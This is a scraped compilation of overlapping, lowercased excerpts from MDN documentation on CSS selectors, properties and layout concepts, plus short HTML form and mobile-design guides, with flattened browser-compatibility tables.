...(':matches(header, main, footer) p'); } catch(e) { try { matcheditems = document.queryselectorall(':-webkit-any(header, main, footer) p'); } catch(e) { try { matcheditems = document.queryselectorall(':-moz-any(header, main, footer) p'); } catch(e) { console.log('your browser doesn\'t support :is(), :matches(), or :any()'); } } } } matcheditems.foreach(applyhandler); function applyhandler(elem) { elem.addeventlistener('click', function(e) { alert('this paragraph is inside a ' + e.target.parentnode.nodename); }); } simplifying list selectors the :is() pseudo-class can greatly simplify your css selectors. for example, the following css: /* 3-deep (or more) unordered lists use a square */ ol ol ul, ol ul ul, ol menu u...
...aft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...-webkit-any()safari ios full support 9alternate name full support 9alternate name alternate name uses the non-standard name: :matches() full support 5notes alternate name notes doesn't support combinators.alternate name uses the non-standard name: :-webkit-any()samsung internet android no support 9.0 — 10.0alternate name no support 9.0 — 10.0alternate name alternate name uses the non-standard name: :matches() full support 1.0alternate name alternate name uses the non-standard name: :-webkit-any()legend full support ...
:nth-last-child() - CSS: Cascading Style Sheets
the :nth-last-child() css pseudo-class matches elements based on their position among a group of siblings, counting from the end. /* selects every fourth element among any group of siblings, counting backwards from the last one */ :nth-last-child(4n) { color: lime; } note: this pseudo-class is essentially the same as :nth-child, except it counts items backwards from the end, not forwards from the beginning. syntax the nth-last-child pseudo-class is specified with a single argument, which represents the pattern for matching elements, counting from the end. keyword values odd represents elements whose numeric position in a series of siblings is odd: 1, 3, 5, etc., counting from the end. even represents elements whose numeric position in a series of siblings is even: 2, 4,...
...ast three elements */ tr:nth-last-child(-n+3) { background-color: pink; } /* selects every element starting from the second to last item */ tr:nth-last-child(n+2) { color: blue; } /* select only the last second element */ tr:nth-last-child(2) { font-weight: 600; } result quantity query a quantity query styles elements depending on how many of them there are. ...
...lement */ tr:nth-last-child(2) { font-weight: 600; } result quantity query a quantity query styles elements depending on how many of them there are. in this example, list items turn red when there are at least three of them in a given list. this is accomplished by combining the capabilities of the nth-last-child pseudo-class and the general sibling combinator. ...
...s depending on how many of them there are. in this example, list items turn red when there are at least three of them in a given list. this is accomplished by combining the capabilities of the nth-last-child pseudo-class and the general sibling combinator. html <h4>a list of four items (styled):</h4> <ol> <li>one</li> <li>two</li> <li>three</li> <li>four</li> </ol> <h4>a list of two items (unstyled):</h4> <ol> <li>one</li> <li>two</li> </ol> css /* if there are at least three list items, style them all */ li:nth-last-child(n+3), li:nth-last-child(n+3) ~ li { color: red; } result specifications specification status comment selectors level 4the definition of ':nth-last-child' in that specification. working draft matching elements are...
:visited - CSS: Cascading Style Sheets
Web › CSS › :visited
on initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1webview android full support 4.4chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0:visited no longer matches <link> elementschrome full support 1notes full support 1notes notes chromium has never matched <link> elements with link pseudo-classes.edge full support 1...
...ements with link pseudo-classes.firefox android no support noopera android full support 14notes full support 14notes notes chromium has never matched <link> elements with link pseudo-classes.safari ios full support 12samsung internet android full support 1.0notes full support 1.0notes notes chromium has never matched <link> elements with link pseudo-classes.restrict css properties allowed in a statement using :visited for privacychrome full support 6edge full suppo...
... ...
Border-image generator - CSS: Cascading Style Sheets
, arial, helvetica, sans-serif; font-size: 12px; background-image: url("https://mdn.mozillademos.org/files/6037/drop_arrow_icon.png"); background-position: right center; background-repeat: no-repeat; background-color: #359740; position: relative; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-dropdown:hover { cursor: pointer; background-color: #208b20; } /* dropdown select button */ .ui-dropdown-select { height: inherit; padding: 0 0.75em; color: #fff; line-height: 2em; } /* dropdown list */ .ui-dropdown-list { width: 100%; height: 150px; max-height: 150px; margin: 0; padding: 0 0.3em; border: 3px solid #3490d2; border-co...
...***********************************************************************/ /*************************************************************************************/ /* * ui button */ /* checkbox */ .ui-checkbox { text-align: center; font-size: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height: 1em; background-color: #888; background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png"); background-position: center center; background-repeat: no-repeat; color: #fff; border-radius: 2p...
... * border image generator tool */ body { width: 100%; margin: 0 auto; padding: 0 0 20px 0; font-family: "segoe ui", arial, helvetica, sans-serif; /*background: url("https://mdn.mozillademos.org/files/6025/grain.png");*/ border: 1px solid #eee; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } body[data-move='x'] { cursor: w-resize !important; } body[data-move='y'] { cursor: s-resize !important; } #container { width: 100%; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } [data-draggable='true']:hover { cursor: move; } [data-draggable='true']:hover > * { cursor: default; } /******************...
...gs .close:hover { cursor: pointer; opacity: 1; } #unit-settings[data-active='true'] { opacity: 1; } #unit-settings[data-active='false'] { opacity: 0; top: -100px !important; } /* * css output code */ #output { padding: 10px; border: 2px dashed #888 !important; box-shadow: none !important; border-radius: 3px; overflow: hidden; -moz-user-select: text; -webkit-user-select: text; -ms-user-select: text; user-select: text; } @media (min-width: 880px) { #output { width: 63.33% !important; } } @media (max-width: 879px) { #output { width: 87% !important; } } #output .title { width: 100%; height: 30px; margin: 0 0 10px 0; line-height: 25px; text-align: center; color: #aaa; } #output .css-property { width: 100%; margin: 0; color: #555; font-size: 14px; lin...
Block and inline layout in normal flow - CSS: Cascading Style Sheets
ing block (for right-to-left formatting, right edges touch).” - 9.4.1 for elements with an inline formatting context: “in an inline formatting context, boxes are laid out horizontally, one after the other, beginning at the top of a containing block. horizontal margins, borders, and padding are respected between these boxes. the boxes may be aligned vertically in different ways: their bottoms or tops may be aligned, or the baselines of text within them may be aligned. the rectangular area that contains the boxes that form a line is called a line box.” - 9.4.2 note that the css 2.1 specification describes documents as being in a horizontal, top to bottom writing mode. for example, by describing vertical distance between block boxes. the behavior on block and inline elements is the ...
...the inner display type, which dictates how boxes inside this element behave. we can see this very clearly when considering a flex layout. in the example below i have a <div>, which i have given display: flex. the flex container behaves like a block element: it displays on a new line and takes up all of the space it can in the inline direction. this is the outer display type of block. the flex items however are participating in a flex formatting context, because their parent is the element with display: flex, which has an inner display type of flex, establishing the flex formatting context for the direct children. therefore you can think of every box in css working in this way. the box itself has an outer display type, so it knows how to behave alongside other boxes. it then has an inner ...
...r display type of flex, establishing the flex formatting context for the direct children. therefore you can think of every box in css working in this way. the box itself has an outer display type, so it knows how to behave alongside other boxes. it then has an inner display type which changes the way its children behave. those children then have an outer and inner display type too. the flex items in the previous example become flex level boxes, so their outer display type is dictated by way of them being part of the flex formatting context. they have an inner display type of flow however, meaning that their children participate in normal flow. items nested inside our flex item lay themselves out as block and inline elements unless something changes their display type. this concept of the...
...nges their display type. this concept of the outer and inner display type is important as this tells us that a container using a layout method such as flexbox (display: flex) and grid layout (display: grid) is still participating in block and inline layout, due to the outer display type of those methods being block. changing the formatting context an element participates in browsers display items as part of a block or inline formatting context in terms of what normally makes sense for that element. for example, a <strong> element is used to highlight a word and displays bold in browsers. it would not generally make sense for that <strong> element to be displayed as a block level element, breaking onto a new line. if you did want all <strong> elements to display as block elements, you coul...
CSS Scrollbars - CSS: Cascading Style Sheets
drian roselli browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 64 full support 63disabled disabled from version 63: this feature is behind the layout.css.scrollbar-width.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature. scrollbar-color desktopmobilechromeedgefiref...
... full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature. ...
... 64 full support 63disabled disabled from version 63: this feature is behind the layout.css.scrollbar-color.enabled preference (needs to be set to true). ...
Visual formatting model - CSS: Cascading Style Sheets
ements in the document tree. external information (e.g., viewport size, intrinsic dimensions of images, etc.). much of the information about the visual formatting model is defined in css2, however, various level 3 specifications have added to this information. when reading specifications you will often find references to the model as defined in css2, so an understanding of the model and the terms used to describe it in css2 is valuable when reading other layout specifications. in this document we define the model and introduce some of the related terms and concepts, linking to more specific pages on mdn for further details. the role of the viewport in continuous media, the viewport is the viewing area of the browser window. user agents can change the layout of the page when the viewpor...
...ide other elements on the page. boxes also have an inner display type, dictating how their children behave. for normal block and inline layout, or normal flow, this display type is flow. this means that the child elements will also be either block or inline. however, the inner display type might be something like grid or flex, in which case the direct children will display as a grid, or flex items. in such a case the element is described as creating a grid or flex formatting context. in many ways this is similar to a block formatting context, however, the children behave as flex or grid items rather than items in normal flow. the interactions between block-level and inline-level boxes are described in the mdn documentation for display. in addition, the references for specific values of d...
... css grid layout css flexible box layout css table layout lists independent formatting contexts elements either participate in the formating context of their containing block or establish an independent formatting context. ...
...e somewhat different and the term block box should only be used if there is no ambiguity. block containers a block container either contains only inline-level boxes participating in an inline formatting context, or only block-level boxes participating in a block formatting context. for this reason, we see the behavior explained above, where anonymous boxes are introduced to ensure all of the items can participate in a block or inline formatting context. an element is a block container only if it contains block-level or inline-level boxes. inline-level and block-level boxes these are the boxes contained inside the block container that are participating in inline or block layout, respectively. block boxes a block box is a block-level box that is also a block container. as described in cs...
animation-delay - CSS: Cascading Style Sheets
active example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. it is often convenient to use the shorthand property animation to set all animation properties at once. syntax /* single animation */ animation-delay: 3s; animation-delay: 0s; animation-delay: -1500ms; /* multiple animations */ animation-delay: 2.1s, 480ms; values <time> the time offset, from the moment at which the animation is applied to the element, at which the animation should begin. this may be specified in either seconds (s) or milliseconds (ms). the unit is required. a positive value indicates that the animation should begin after the specified amount of time has elapsed. a val...
...ft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...th the vendor prefix: -webkit-edge full support 12firefox full support 16notes full support 16notes notes before firefox 57, firefox does not repaint elements outside the viewport that are animated into the viewport with a delay. this bug affects only some platforms, such as windows. full support 49prefixed prefixed implemented with the vendor prefix: -webkit- full support 44prefixed disabled prefixed implemented with the vendor prefix: -webkit-disabled from version 44: this feature is behind the layout.css.prefixes.webkit preference (needs to be set to true). to change...
... no support 12.1 — 14 no support 12 — 14prefixed prefixed implemented with the vendor prefix: -o-safari ios full support 9 full support 9 full support 3.2prefixed prefixed implemented with the vendor prefix: -webkit-samsung internet android full support 4.0 full support 4.0 full support 1.0prefixed prefixed implemented with the vendor prefix: -webkit-legend full support full supportsee implementation notes.see im...
animation-direction - CSS: Cascading Style Sheets
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... no support 12.1 — 14 no support 12 — 14prefixed prefixed implemented with the vendor prefix: -o-safari ios full support 9 full support 9 full support 3.2prefixed prefixed implemented with the vendor prefix: -webkit-samsung internet android full support 4.0 full support 4.0 full support 1.0prefixed prefixed implemented with the vendor prefix: -webkit-alternate-reversechrome full support 19edge full support ...
... 6webview android full support ≤37chrome android full support 25firefox android full support 16opera android full support 12.1safari ios full support 6samsung internet android full support 1.5reversechrome full support 19edge full support 12firefox full support 16ie full support 10opera full support ...
... ...
background-position - CSS: Cascading Style Sheets
on initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1webview android full support ≤37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0multiple backgroundschrome full support 1edge full support 12firefox full support 3.6ie full support 9opera full support ...
... 1.3webview android full support ≤37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0four-value syntax (support for offsets from any edge)chrome full support 25edge full support 12firefox full support 13ie full support 9ope...
... 7webview android full support ≤37chrome android full support 25firefox android full support 14opera android full support 14safari ios full support 7samsung internet android full support 1.5legend full support full support quantum css notes gecko has a bug meaning that background-position can't be transitioned between two values containing different numbers of <position> values, for example background-position: 10px 10px; and backg...
caption-side - CSS: Cascading Style Sheets
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1webview android full support ≤37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0non-standard values left, right, top-outside, and bottom-outside non-standardchrome no support noedge no support nofirefox full support 1ie no support ...
...ort nowebview android no support nochrome android no support nofirefox android full support 4opera android no support nosafari ios no support nosamsung internet android no support notop and bottom are relative to the writing-mode valuechrome no support noedge no support nofirefox full support 42ie no support noopera ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support. ...
font-size - CSS: Cascading Style Sheets
Web › CSS › font-size
to the size of the font used by the <html> (root) element. <percentage> a positive <percentage> value, relative to the parent element's font size. note: to maximize accessibility, it is generally best to use values that are relative to the user's default font size. description there are several ways to specify the font size, including with keywords or numerical values for pixels or ems. choose the appropriate method based on the needs for the particular web page. keywords keywords are a good way to set the size of fonts on the web. by setting a keyword font size on the <body> element, you can set relative font-sizing everywhere else on the page, giving you the ability to easily scale the font up or down on the entire page accordingly. pixels setting the font size in pixel v...
...on the entire page accordingly. pixels setting the font size in pixel values (px) is a good choice when you need pixel accuracy. a px value is static. this is an os-independent and cross-browser way of literally telling the browsers to render the letters at exactly the number of pixels in height that you specified. the results may vary slightly across browsers, as they may use different algorithms to achieve a similar effect. font sizing settings can also be used in combination. for example, if a parent element is set to 16px and its child element is set to larger, the child element displays larger than the parent element in the page. note: defining font sizes in px is not accessible, because the user cannot change the font size in some browsers. for example, users with limited vision ma...
... set to larger, the child element displays larger than the parent element in the page. note: defining font sizes in px is not accessible, because the user cannot change the font size in some browsers. for example, users with limited vision may wish to set the font size much larger than the size chosen by a web designer. avoid using them for font sizes if you wish to create an inclusive design. ems another way of setting the font size is with em values. the size of an em value is dynamic. when defining the font-size property, an em is equal to the font size of the element on which the em is used. if you haven't set the font size anywhere on the page, then it is the browser default, which is often 16px. so, by default 1em = 16px, and 2em = 32px. if you set a font-size of 20px on the body el...
...inner</span> outer</span> </div> the result is: assuming that the browser's default font-size is 16px, the words “outer” would be rendered at 16px, but the word “inner” would be rendered at 25.6px. this is because the inner <span>'s font-size is 1.6em which is relative to its parent's font-size, which is in turn relative to its parent's font-size. this is often called compounding. rems rem values were invented in order to sidestep the compounding problem. rem values are relative to the root html element, not the parent element. in other words, it lets you specify a font size in a relative fashion without being affected by the size of the parent, thereby eliminating compounding. the css below is nearly identical to the previous example. the only exception is that the unit has ...
grid-auto-flow - CSS: Cascading Style Sheets
the grid-auto-flow css property controls how the auto-placement algorithm works, specifying exactly how auto-placed items get flowed into the grid. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...eractive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* keyword values */ grid-auto-flow: row; grid-auto-flow: column; grid-auto-flow: dense; grid-auto-flow: row dense; grid-auto-flow: column dense; /* global values */ grid-auto-flow: inherit; grid-auto-flow: initial; grid-auto-flow: unset; this property may take one of two forms: a single keyword: one of row, column, or dense. two keywords: row dense or column dense. values row items are placed by filling each row in turn, adding new rows as necessary. if neither row nor column is provided, row is assumed. column items are placed by filling each column in turn, adding new columns as necessary. dense "dense" packing algorithm attempts to fill in holes earlie...
... row, column, or dense. two keywords: row dense or column dense. values row items are placed by filling each row in turn, adding new rows as necessary. if neither row nor column is provided, row is assumed. column items are placed by filling each column in turn, adding new columns as necessary. dense "dense" packing algorithm attempts to fill in holes earlier in the grid, if smaller items come up later. this may cause items to appear out-of-order, when doing so would fill in holes left by larger items. if it is omitted, a "sparse" algorithm is used, where the placement algorithm only ever moves "forward" in the grid when placing items, never backtracking to fill holes. ...
...hm attempts to fill in holes earlier in the grid, if smaller items come up later. this may cause items to appear out-of-order, when doing so would fill in holes left by larger items. if it is omitted, a "sparse" algorithm is used, where the placement algorithm only ever moves "forward" in the grid when placing items, never backtracking to fill holes. this ensures that all of the auto-placed items appear "in order", even if this leaves holes that could have been filled by later items. formal definition initial valuerowapplies togrid containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ row | column ] | dense examples setting grid auto-placement html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> <div i...
grid-column - CSS: Cascading Style Sheets
th that name are counted. if not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span. if the <integer> is omitted, it defaults to 1. negative integers or 0 are invalid. internet explorer issues ie11 does not support automatic placement of grid items. ...
...e are counted. if not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span. if the <integer> is omitted, it defaults to 1. negative integers or 0 are invalid. internet explorer issues ie11 does not support automatic placement of grid items. ...
...nes on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span. if the <integer> is omitted, it defaults to 1. negative integers or 0 are invalid. internet explorer issues ie11 does not support automatic placement of grid items. all items end up in the first row/col of the grid unless explicitly annotated with -ms-grid-column and -ms-grid-row. ...
...ues ie11 does not support automatic placement of grid items. all items end up in the first row/col of the grid unless explicitly annotated with -ms-grid-column and -ms-grid-row. one can use a little javascript to enable automatic annotation: source repository. ...
grid-row - CSS: Cascading Style Sheets
Web › CSS › grid-row
th that name are counted. if not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span. if the <integer> is omitted, it defaults to 1. negative integers or 0 are invalid. internet explorer issues ie11 does not support automatic placement of grid items. ...
...e are counted. if not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span. if the <integer> is omitted, it defaults to 1. negative integers or 0 are invalid. internet explorer issues ie11 does not support automatic placement of grid items. ...
...nes on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span. if the <integer> is omitted, it defaults to 1. negative integers or 0 are invalid. internet explorer issues ie11 does not support automatic placement of grid items. all items end up in the first row/col of the grid unless explicitly annotated with -ms-grid-column and -ms-grid-row. ...
...er issues ie11 does not support automatic placement of grid items. all items end up in the first row/col of the grid unless explicitly annotated with -ms-grid-column and -ms-grid-row. one can use a little javascript to enable automatic annotation: source repository. ...
image-rendering - CSS: Cascading Style Sheets
-edges; image-rendering: pixelated; /* global values */ image-rendering: inherit; image-rendering: initial; image-rendering: unset; values auto the scaling algorithm is ua dependent. since version 1.9 (firefox 3.0), gecko uses bilinear resampling (high quality). smooth the image should be scaled with an algorithm that maximizes the appearance of the image. in particular, scaling algorithms that "smooth" colors are acceptable, such as bilinear interpolation. this is intended for images such as photos. high-quality identical to smooth, but with a preference for higher-quality scaling. if system resources are constrained, images with high-quality should be prioritized over those with any other value, when considering which images to degrade the quality of and to what degree. cris...
...ing. if system resources are constrained, images with high-quality should be prioritized over those with any other value, when considering which images to degrade the quality of and to what degree. crisp-edges the image must be scaled with an algorithm that preserves contrast and edges in the image, and which does not smooth colors or introduce blur to the image in the process. suitable algorithms include nearest-neighbor and other non-smoothing scaling algorithms such as 2×sai and hqx-family algorithms. this value is intended for pixel-art images, such as in browser games. pixelated when scaling the image up, the nearest-neighbor algorithm must be used, so that the image appears to be composed of large pixels. when scaling down, this is the same as auto. note: the values optimizequa...
... intended for pixel-art images, such as in browser games. pixelated when scaling the image up, the nearest-neighbor algorithm must be used, so that the image appears to be composed of large pixels. when scaling down, this is the same as auto. note: the values optimizequality and optimizespeed present in an early draft (and coming from its svg counterpart image-rendering) are defined as synonyms for the smooth and pixelated values respectively. formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | crisp-edges | pixelated examples setting image scaling algorithms in practical use, the pixelated and crisp-edges rules can be combined to provide some fallback for each other. (just prepend the actual r...
... candidate recommendation initial definition. ...
<length> - CSS: Cascading Style Sheets
Web › CSS › length
the <length> css data type represents a distance value. lengths can be used in numerous css properties, such as width, height, margin, padding, border-width, font-size, and text-shadow. note: although <percentage> values are also css dimensions, and are usable in some of the same properties that accept <length> values, they are not themselves <length> values. see <length-percentage>. syntax the <length> data type consists of a <number> followed by one of the units listed below. as with all css dimensions, there is no space between the unit literal and the number. the length unit is optional after the number 0. note: some properties allow negative <length>s, while others do not. units relative length units relative lengths represent a measurement in terms of some other distance. d...
... optional after the number 0. note: some properties allow negative <length>s, while others do not. units relative length units relative lengths represent a measurement in terms of some other distance. depending on the unit, this can be the size of a specific character, the line height, or the size of the viewport. font-relative lengths font-relative lengths define the <length> value in terms of the size of a particular character or font attribute in the font currently in effect in an element or its parent. note: these units, especially em and rem, are often used to create scalable layouts, which maintain the vertical rhythm of the page even when the user changes the font size. cap represents the "cap height" (nominal height of capital letters) of the element’s font. ch r...
...don't necessary match the size of the physical unit with the same name. for high-dpi devices, inches (in), centimeters (cm), and millimeters (mm) are the same as their physical counterparts. therefore, the px unit is defined relative to them (1/96 of 1 inch). note: many users increase their user agent's default font size to make text more legible. absolute lengths can cause accessibility problems, since they are fixed and do not scale according to user settings. for this reason, prefer relative lengths (such as em or rem) when setting font-size. px one pixel. for screen displays, it traditionally represents one device pixel (dot). however, for printers and high-resolution screens, one css pixel implies multiple device pixels. 1px = 1/96th of 1in. cm one centimeter. 1cm = 96px/2.54.
... position: relative; } .inner { height: 50px; background-color: #999; box-shadow: inset 3px 3px 5px rgba(255,255,255,0.5), inset -3px -3px 5px rgba(0,0,0,0.5); } .result { height: 20px; background-color: #999; box-shadow: inset 3px 3px 5px rgba(255,255,255,0.5), inset -3px -3px 5px rgba(0,0,0,0.5); background-color: orange; display: flex; align-items: center; margin-top: 10px; } .result code { position: absolute; margin-left: 20px; } .results { margin-top: 10px; } .input-container { position: absolute; display: flex; justify-content: flex-start; align-items: center; height: 50px; } label { margin: 0 10px 0 20px; } javascript const inputdiv = document.queryselector('.inner'); const inputelem = document.queryselector('...
outline-color - CSS: Cascading Style Sheets
r: #f92525; outline-color: rgb(30,222,121); outline-color: blue; /* keyword value */ outline-color: invert; /* global values */ outline-color: inherit; outline-color: initial; outline-color: unset; the outline-color property is specified as any one of the values listed below. values <color> the color of the outline, specified as a <color>. invert to ensure the outline is visible, performs a color inversion of the background. note that browsers are not required to support this value; if they don't, this keyword is considered invalid. description an outline is a line that is drawn around an element, outside the border. unlike the element's border, the outline is drawn outside the element's frame, and may overlap other content. the border, on the other hand, will actually alter th...
...n initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1.2webview android full support 37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0invertchrome no support noedge no support 12 — 79firefox no support 1 — 3ie full support 8opera no support 7 — 15safari no suppo...
... ...
quotes - CSS: Cascading Style Sheets
Web › CSS › quotes
mal syntax none | auto | [ <string> <string> ]+ examples basic quote marks html <q>to be or not to be. that's the question!</q> css q { quotes: '"' '"' "'" "'"; } q::before { content: open-quote; } q::after { content: close-quote; } result auto quotes for most browsers, the default value of quotes is auto (firefox 70+), or the browser otherwise had this default behavior (chromiums, safari, edge), so this example works without it being explicitly being set. html <div lang="fr"> <q>ceci est une citation française.</q> <div> <hr> <div lang="ru"> <q>Это русская цитата</q> <div> <hr> <div lang="de"> <q>dies ist ein deutsches zitat</q> <div> <hr> <div lang="en"> <q>this is an english quote.</q> <div> css /*q { quotes: auto; }*/ result speci...
...on initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 9webview android full support 37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 9samsung internet android full support 1.0auto keywordchrome no support nonotes no support nonotes notes this value is not supported, but the default browser behavior is to choose appropriate quotes for the user's language settingedge no support ...
...s this value is not supported, but the default browser behavior is to choose appropriate quotes for the user's language settingsafari ios no support nonotes no support nonotes notes this value is not supported, but the default browser behavior is to choose appropriate quotes for the user's language settingsamsung internet android no support nonotes no support nonotes notes this value is not supported, but the default browser behavior is to choose appropriate quotes for the user's language settinglegend full support full support ...
<transform-function> - CSS: Cascading Style Sheets
slation vector (tx, ty) must be expressed separately, as two additional parameters. note: though trickier than cartesian coordinates, homogeneous coordinates in projective geometry lead to 3×3 transformation matrices, and can simply express translations as linear functions. examples transform function comparison the following example provides a 3d cube created from dom elements and transforms, and a select menu allowing you to choose different transform functions to transform the cube with, so you can compare the effects of the different types. choose one, and the transform is applied to the cube; after 2 seconds, the cube reverts back to its starting state. the cube's starting state is slightly rotated using transform3d(), to allow you to see the effect of all the transforms. html ...
...,0,0,0,0,1,3,0,0,0,1,0,50,100,0,1.1)</option> </select> </div> </main> css main { width: 400px; height: 200px; padding: 50px; background-image: linear-gradient(135deg, white, cyan, white); } #example-element { width: 100px; height: 100px; transform-style: preserve-3d; transition: transform 1.5s; transform: rotate3d(1, 1, 1, 30deg); } .face { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; position: absolute; backface-visibility: inherit; font-size: 60px; color: #fff; } .front { background: rgba(90,90,90,.7); transform: translatez(50px); } .back { background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right { background: rgba(210,0,0,.7); transform: rotatey(90deg...
... working draft initial definition ...
... working draft initial definition ...
CSS: Cascading Style Sheets
Web › CSS
de. now it's time to look at how to place your boxes in the right place concerning the viewport, and one another. we have covered the necessary prerequisites so we can now dive deep into css layout, looking at different display settings, modern layout tools like flexbox, css grid, and positioning, and some of the legacy techniques you might still want to know about. ...
...ne another. we have covered the necessary prerequisites so we can now dive deep into css layout, looking at different display settings, modern layout tools like flexbox, css grid, and positioning, and some of the legacy techniques you might still want to know about. use css to solve common problems this module provides links to sections of content explaining how to use css to solve common problems when creating a web page. ...
...me of the legacy techniques you might still want to know about. use css to solve common problems this module provides links to sections of content explaining how to use css to solve common problems when creating a web page. reference css reference: this exhaustive reference for seasoned web developers describes every property and concept of css. ...
...in addition to providing code you can use as a starting point in your projects, these recipes highlight the different ways layout specifications can be used, and the choices you can make as a developer. ...
Constraint validation - Developer guides
basic, usual constraints can be checked, without the need for javascript, by setting new attributes; more complex constraints can be tested using the constraint validation api. for a basic introduction to these concepts, with examples, see the form validation tutorial. ...
...basic, usual constraints can be checked, without the need for javascript, by setting new attributes; more complex constraints can be tested using the constraint validation api. for a basic introduction to these concepts, with examples, see the form validation tutorial. ...
...basic, usual constraints can be checked, without the need for javascript, by setting new attributes; more complex constraints can be tested using the constraint validation api. for a basic introduction to these concepts, with examples, see the form validation tutorial. ...
...the :valid and :invalid pseudo-classes are used to represent <input> elements whose content validates and fails to validate respectively according to the input's type setting. these classes allow the user to style valid or invalid form elements to make it easier to identify elements that are either formatted correctly or incorrectly. controlling the text of constraint violation the following items can help with controlling the text of a constraint violation: element.setcustomvalidity(message) method on the following elements: <fieldset>. note: setting a custom validity message on fieldset elements will not prevent form submission in most browsers. <input> <output> <select> submit buttons (created with either a <button> element with the submit type, or an input element...
A hybrid approach - Developer guides
silver bullets are hard to find in web development — you’re more likely to come across strategies that make the best use of a variety of techniques given the circumstances. this brings us to our third approach, which aims to avoid some of the shortcomings the separate sites and responsive design approaches by combining them. this hybrid approach centers around breaking down mobile development into its three goals, and then applying the best techniques available to tackle each goal individually. this article presents one potential combination of techniques as an example here, but different combinations will be appropriate under different circumstances. the most important concept to remember is that server-side and client-side techniques can be combined to fit your situation. the...
...if your mobile and desktop use cases are similar enough, this is definitely the preferred option for layout changes. however, it can be a pain to use client-side techniques to alter site content to fit the user’s context. ...
...ent, so that the content can adapt its layout to the user’s browser. this is generally thought to be a good thing. instead of maintaining two completely different sites, we simply redirect users to pages for the content they care about. and since the design is responsive, you know that each page looks as good as possible on the user’s screen. we can also address some of the performance problems with responsive design by incorporating server-side techniques. for example, an often-criticized point about responsive web design is that full-resolution images are sent to all devices, including phones that show the images scaled down anyway. one such technique for dealing with this issue uses server-side user-agent detection along with the wurfl device capability library to send a properly siz...
...nefits of a responsive design, a hybrid approach may be your best bet. decisions like these are at the heart of mobile web development: be specific about what you would like to accomplish, and pick a practical approach while being aware of the tradeoffs. good luck! approaches to mobile web development see the following articles for background and other approaches to developing for mobile platforms. what is mobile-friendliness? separate sites responsive design original document information this article was originally published on 27 june 2011, on the mozilla webdev blog as "approaches to mobile web development part 4 – a hybrid approach", by jason grlicky. ...
HTML attribute: accept - HTML: Hypertext Markup Language
more than one manner, it's useful to provide a thorough set of type specifiers when you need files of specific type, or use the wild card to denote a type of any format is acceptable. ...
...to toggle an option in the file chooser that makes it possible to override this and select any file they wish, and then choose incorrect file types. because of this, you should make sure that expected requirement is validated server-side. examples when set on a file input type, the native file picker that opens up should only enable selecting files of the correct file type. most operating systems lighten the files that don't match the criteria and aren't selectable. <p> <label for="soundfile">select an audio file:</label> <input type="file" id="soundfile" accept="audio/*"> </p> <p> <label for="videofile">select a video file:</label> <input type="file" id="videofile" accept="video/*"> </p> <p> <label for="imagefile">select some images:</label> <input type="file" id="imagefile" ...
